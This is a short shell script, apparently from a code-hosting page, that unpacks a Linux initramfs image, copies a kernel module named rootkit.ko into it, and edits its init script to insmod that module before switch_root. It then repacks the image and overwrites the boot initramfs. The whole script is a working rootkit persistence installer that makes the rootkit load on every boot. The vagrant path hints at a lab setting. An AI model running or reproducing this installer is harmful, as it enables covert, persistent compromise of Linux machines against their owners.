16 lines
522 B
Bash
16 lines
522 B
Bash
|
#!/usr/bin/env sh
|
||
|
set -eu
|
||
|
|
||
|
mkdir /tmp/initrfs && cd $_
|
||
|
LINE="# this should always be the last thing we do before the switch_root."
|
||
|
FILE="/boot/initramfs-linux.img"
|
||
|
if [[ -f /boot/initramfs-linux-lts.img ]]; then
|
||
|
FILE="/boot/initramfs-linux-lts.img"
|
||
|
fi
|
||
|
|
||
|
lsinitcpio -x $FILE
|
||
|
cp /home/vagrant/rk/rootkit.ko /tmp/initrfs/BOOM_rk.ko
|
||
|
sed -i "/$LINE/ { N; s/$LINE\n/insmod \/BOOM_rk.ko\n&/ }" /tmp/initrfs/init
|
||
|
find -mindepth 1 -printf '%P\0' | LANG=C bsdcpio -0 -o -H newc --quiet | gzip > /tmp/init.img
|
||
|
cp /tmp/init.img $FILE
|